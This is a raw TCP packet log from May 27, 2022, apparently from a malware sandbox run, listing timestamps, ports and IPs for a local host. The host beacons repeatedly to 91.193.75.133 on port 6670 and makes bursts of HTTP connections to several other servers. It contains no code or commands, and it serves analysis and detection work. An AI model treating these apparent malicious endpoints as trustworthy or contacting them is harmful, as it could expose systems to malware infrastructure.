May 27, 2022 18:43:48.469528913 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.469541073 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.469547987 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.469650030 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.469662905 CEST	80	49913	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.469675064 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.469688892 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.469701052 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.469747066 CEST	49913	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.469773054 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.469788074 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.469801903 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.469815016 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.486109018 CEST	80	49913	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.486145020 CEST	80	49913	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.486157894 CEST	80	49913	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.486356974 CEST	49913	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.486403942 CEST	49913	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.505130053 CEST	80	49913	185.53.179.171	192.168.2.5
May 27, 2022 18:43:51.852024078 CEST	49914	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:51.892055035 CEST	6670	49914	91.193.75.133	192.168.2.5
May 27, 2022 18:43:51.955987930 CEST	49915	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:51.995959044 CEST	6670	49915	91.193.75.133	192.168.2.5
May 27, 2022 18:43:52.025269985 CEST	49916	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:52.065201998 CEST	6670	49916	91.193.75.133	192.168.2.5
May 27, 2022 18:43:52.248109102 CEST	49917	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:52.288069010 CEST	6670	49917	91.193.75.133	192.168.2.5
May 27, 2022 18:43:52.420427084 CEST	49914	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:52.460607052 CEST	6670	49914	91.193.75.133	192.168.2.5
May 27, 2022 18:43:52.693758011 CEST	49915	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:52.693798065 CEST	49916	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:52.733674049 CEST	6670	49915	91.193.75.133	192.168.2.5
May 27, 2022 18:43:52.733695984 CEST	6670	49916	91.193.75.133	192.168.2.5
May 27, 2022 18:43:52.920402050 CEST	49917	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:52.960357904 CEST	6670	49917	91.193.75.133	192.168.2.5
May 27, 2022 18:43:53.029804945 CEST	49914	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:53.069747925 CEST	6670	49914	91.193.75.133	192.168.2.5
May 27, 2022 18:43:53.374527931 CEST	49915	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:53.374798059 CEST	49916	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:53.414532900 CEST	6670	49915	91.193.75.133	192.168.2.5
May 27, 2022 18:43:53.414554119 CEST	6670	49916	91.193.75.133	192.168.2.5
May 27, 2022 18:43:53.529864073 CEST	49917	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:53.569789886 CEST	6670	49917	91.193.75.133	192.168.2.5
May 27, 2022 18:43:53.678765059 CEST	49918	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:53.841136932 CEST	80	49918	45.39.111.146	192.168.2.5
May 27, 2022 18:43:53.841286898 CEST	49918	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:53.841447115 CEST	49918	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:53.841484070 CEST	49918	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:53.842078924 CEST	49919	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.004030943 CEST	80	49918	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.004048109 CEST	80	49918	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.004134893 CEST	49918	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.006237984 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.006320000 CEST	49919	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.008547068 CEST	49919	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.009268999 CEST	49920	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.173504114 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.173629999 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.173640013 CEST	49919	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.173744917 CEST	49919	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.176273108 CEST	80	49920	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.176394939 CEST	49920	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.176553011 CEST	49920	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.341135979 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.341227055 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.341259003 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.341288090 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.341315985 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.341346979 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.341402054 CEST	49919	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.341429949 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.360255957 CEST	80	49920	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.360297918 CEST	80	49920	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.360523939 CEST	49920	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.370275974 CEST	49920	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.506562948 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.506594896 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.506881952 CEST	80	49919	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.506958008 CEST	49919	80	192.168.2.5	45.39.111.146
May 27, 2022 18:43:54.537354946 CEST	80	49920	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.537384033 CEST	80	49920	45.39.111.146	192.168.2.5
May 27, 2022 18:43:54.537558079 CEST	49920	80	192.168.2.5	45.39.111.146
May 27, 2022 18:44:02.541973114 CEST	49922	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:02.581784010 CEST	6670	49922	91.193.75.133	192.168.2.5
May 27, 2022 18:44:02.662075043 CEST	49923	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:02.693746090 CEST	49924	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:02.702235937 CEST	6670	49923	91.193.75.133	192.168.2.5
May 27, 2022 18:44:02.733947992 CEST	6670	49924	91.193.75.133	192.168.2.5
May 27, 2022 18:44:03.233786106 CEST	49922	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:03.273802996 CEST	6670	49922	91.193.75.133	192.168.2.5
May 27, 2022 18:44:03.374902964 CEST	49923	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:03.374918938 CEST	49924	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:03.414915085 CEST	6670	49924	91.193.75.133	192.168.2.5
May 27, 2022 18:44:03.414947987 CEST	6670	49923	91.193.75.133	192.168.2.5
May 27, 2022 18:44:03.874965906 CEST	49922	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:03.917155981 CEST	6670	49922	91.193.75.133	192.168.2.5
May 27, 2022 18:44:03.983882904 CEST	49924	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:03.984108925 CEST	49923	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:04.023876905 CEST	6670	49923	91.193.75.133	192.168.2.5
May 27, 2022 18:44:04.023905993 CEST	6670	49924	91.193.75.133	192.168.2.5
May 27, 2022 18:44:04.246891975 CEST	49925	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:04.286724091 CEST	6670	49925	91.193.75.133	192.168.2.5
May 27, 2022 18:44:04.921457052 CEST	49925	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:04.961674929 CEST	6670	49925	91.193.75.133	192.168.2.5
May 27, 2022 18:44:05.530880928 CEST	49925	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:05.570853949 CEST	6670	49925	91.193.75.133	192.168.2.5
May 27, 2022 18:44:11.121514082 CEST	49926	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:11.161530972 CEST	6670	49926	91.193.75.133	192.168.2.5
May 27, 2022 18:44:11.245167017 CEST	49927	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:11.285151958 CEST	6670	49927	91.193.75.133	192.168.2.5
May 27, 2022 18:44:11.584959984 CEST	49928	80	192.168.2.5	23.231.99.207
May 27, 2022 18:44:11.662688971 CEST	49926	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:11.702691078 CEST	6670	49926	91.193.75.133	192.168.2.5
May 27, 2022 18:44:11.760447025 CEST	80	49928	23.231.99.207	192.168.2.5
May 27, 2022 18:44:11.760597944 CEST	49928	80	192.168.2.5	23.231.99.207
May 27, 2022 18:44:11.760749102 CEST	49928	80	192.168.2.5	23.231.99.207
May 27, 2022 18:44:11.875324965 CEST	49927	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:11.915348053 CEST	6670	49927	91.193.75.133	192.168.2.5
May 27, 2022 18:44:11.936249971 CEST	80	49928	23.231.99.207	192.168.2.5
May 27, 2022 18:44:12.157639980 CEST	49929	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:12.197938919 CEST	6670	49929	91.193.75.133	192.168.2.5
May 27, 2022 18:44:12.234642982 CEST	49926	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:12.250467062 CEST	49928	80	192.168.2.5	23.231.99.207
May 27, 2022 18:44:12.274533987 CEST	6670	49926	91.193.75.133	192.168.2.5
May 27, 2022 18:44:12.426121950 CEST	80	49928	23.231.99.207	192.168.2.5
May 27, 2022 18:44:12.426542044 CEST	49928	80	192.168.2.5	23.231.99.207
May 27, 2022 18:44:12.484780073 CEST	49927	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:12.524795055 CEST	6670	49927	91.193.75.133	192.168.2.5
May 27, 2022 18:44:12.754895926 CEST	49930	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:12.794986963 CEST	6670	49930	91.193.75.133	192.168.2.5
May 27, 2022 18:44:12.876348019 CEST	49929	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:12.916222095 CEST	6670	49929	91.193.75.133	192.168.2.5
May 27, 2022 18:44:13.375298023 CEST	49930	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:13.415549994 CEST	6670	49930	91.193.75.133	192.168.2.5
May 27, 2022 18:44:13.488578081 CEST	49929	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:13.528709888 CEST	6670	49929	91.193.75.133	192.168.2.5
May 27, 2022 18:44:13.988538027 CEST	49930	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:44:14.028424978 CEST	6670	49930	91.193.75.133	192.168.2.5
May 27, 2022 18:44:17.578152895 CEST	49931	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.595067978 CEST	80	49931	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.595180988 CEST	49931	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.624659061 CEST	49931	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.624702930 CEST	49931	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.625245094 CEST	49932	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.641567945 CEST	80	49931	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.642148018 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.642169952 CEST	80	49931	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.642302036 CEST	49931	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.644619942 CEST	49932	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.650103092 CEST	49932	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.650512934 CEST	49933	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.667186022 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.667210102 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.667223930 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.667237043 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.667248964 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.667279959 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.667287111 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.667299032 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.667303085 CEST	49932	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.667306900 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.667314053 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.667366028 CEST	49932	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.667390108 CEST	49932	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.667409897 CEST	49932	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.667469978 CEST	80	49933	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.667552948 CEST	49933	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.667756081 CEST	49933	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.684262991 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684288025 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684324980 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684356928 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684365034 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684371948 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684380054 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684386969 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684398890 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684412003 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684422970 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684437037 CEST	80	49933	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684449911 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684462070 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684489965 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.684535980 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.961106062 CEST	80	49933	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.961132050 CEST	80	49933	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.961267948 CEST	80	49933	66.235.200.145	192.168.2.5
May 27, 2022 18:44:17.961407900 CEST	49933	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.961430073 CEST	49933	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:17.979506969 CEST	49933	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:18.003113031 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:18.003144979 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:18.003200054 CEST	80	49932	66.235.200.145	192.168.2.5
May 27, 2022 18:44:18.003207922 CEST	49932	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:18.003231049 CEST	49932	80	192.168.2.5	66.235.200.145
May 27, 2022 18:44:34.336663961 CEST	49941	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.353584051 CEST	80	49941	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.353760958 CEST	49941	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.353910923 CEST	49941	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.353950024 CEST	49941	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.354204893 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.370739937 CEST	80	49941	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.372962952 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.373106956 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.375361919 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.375627995 CEST	49943	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.387217045 CEST	80	49941	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.392796040 CEST	80	49943	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.392987013 CEST	49943	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.393027067 CEST	49943	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.394165993 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.394186974 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.394298077 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.394315004 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.394330025 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.394344091 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.394377947 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.394382000 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.394426107 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.394479036 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.394510984 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.394522905 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.394573927 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.394579887 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.394596100 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.394599915 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.394628048 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.409879923 CEST	80	49943	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413050890 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413070917 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413083076 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413090944 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413103104 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413180113 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413198948 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413217068 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413233042 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413249016 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413295031 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413307905 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413321972 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413335085 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413347960 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.413373947 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.419217110 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.640470028 CEST	80	49941	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.640537024 CEST	80	49941	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.640702009 CEST	49941	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.641354084 CEST	49941	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.671848059 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.671897888 CEST	80	49942	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.672049999 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.672363043 CEST	49942	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.679665089 CEST	80	49943	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.679717064 CEST	80	49943	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.679773092 CEST	80	49943	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.679805040 CEST	80	49943	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.679843903 CEST	80	49943	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.679872036 CEST	80	49943	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.679908991 CEST	80	49943	35.241.47.216	192.168.2.5
May 27, 2022 18:44:34.680568933 CEST	49943	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.680608034 CEST	49943	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:34.680610895 CEST	49943	80	192.168.2.5	35.241.47.216
May 27, 2022 18:44:46.985126972 CEST	49946	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.032414913 CEST	80	49946	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.033200979 CEST	49946	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.033349037 CEST	49946	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.033392906 CEST	49946	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.033677101 CEST	49947	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.077225924 CEST	80	49946	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.077271938 CEST	80	49946	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.077290058 CEST	80	49946	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.077438116 CEST	49946	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.078006983 CEST	80	49947	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.078052998 CEST	49946	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.078140974 CEST	49947	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.080343008 CEST	49947	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.080629110 CEST	49948	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.124505997 CEST	80	49948	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.124540091 CEST	80	49947	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.124555111 CEST	80	49947	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.124562025 CEST	80	49947	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.124572039 CEST	80	49947	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.124625921 CEST	80	49947	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.124797106 CEST	49947	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.124831915 CEST	49948	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.124881029 CEST	49947	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.124989033 CEST	49948	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.168703079 CEST	80	49948	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.168735981 CEST	80	49948	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.168754101 CEST	80	49948	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.168775082 CEST	80	49948	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.168792963 CEST	80	49948	185.134.245.113	192.168.2.5
May 27, 2022 18:44:47.169110060 CEST	49948	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.169142008 CEST	49948	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.169192076 CEST	49948	80	192.168.2.5	185.134.245.113
May 27, 2022 18:44:47.213011026 CEST	80	49948	185.134.245.113	192.168.2.5
May 27, 2022 18:44:57.364196062 CEST	49950	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:57.722474098 CEST	80	49950	137.220.133.198	192.168.2.5
May 27, 2022 18:44:57.722711086 CEST	49950	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:57.722872019 CEST	49950	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:57.722886086 CEST	49950	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:57.723150969 CEST	49951	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:58.081001997 CEST	80	49950	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.081037998 CEST	80	49950	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.081278086 CEST	49950	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:58.089266062 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.089474916 CEST	49951	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:58.091213942 CEST	49951	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:58.091429949 CEST	49952	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:58.457334995 CEST	80	49952	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.457487106 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.457505941 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.457550049 CEST	49952	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:58.457592964 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.457647085 CEST	49951	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:58.457714081 CEST	49951	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:58.457726002 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.457793951 CEST	49951	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:58.457839012 CEST	49952	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:58.823851109 CEST	80	49952	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.823884010 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.823895931 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.823910952 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.823924065 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.824023008 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.824038982 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.824289083 CEST	80	49951	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.827672005 CEST	80	49952	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.827696085 CEST	80	49952	137.220.133.198	192.168.2.5
May 27, 2022 18:44:58.827958107 CEST	49952	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:58.828032017 CEST	49952	80	192.168.2.5	137.220.133.198
May 27, 2022 18:44:59.193674088 CEST	80	49952	137.220.133.198	192.168.2.5
May 27, 2022 18:45:03.833098888 CEST	49955	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:04.000861883 CEST	80	49955	162.0.230.89	192.168.2.5
May 27, 2022 18:45:04.001096010 CEST	49955	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:04.001216888 CEST	49955	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:04.168796062 CEST	80	49955	162.0.230.89	192.168.2.5
May 27, 2022 18:45:04.247493982 CEST	80	49955	162.0.230.89	192.168.2.5
May 27, 2022 18:45:04.247858047 CEST	80	49955	162.0.230.89	192.168.2.5
May 27, 2022 18:45:04.247946978 CEST	49955	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:06.004966021 CEST	49955	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:06.005316019 CEST	49958	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:06.172732115 CEST	80	49958	162.0.230.89	192.168.2.5
May 27, 2022 18:45:06.173069954 CEST	49958	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:06.175256014 CEST	49958	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:06.342940092 CEST	80	49958	162.0.230.89	192.168.2.5
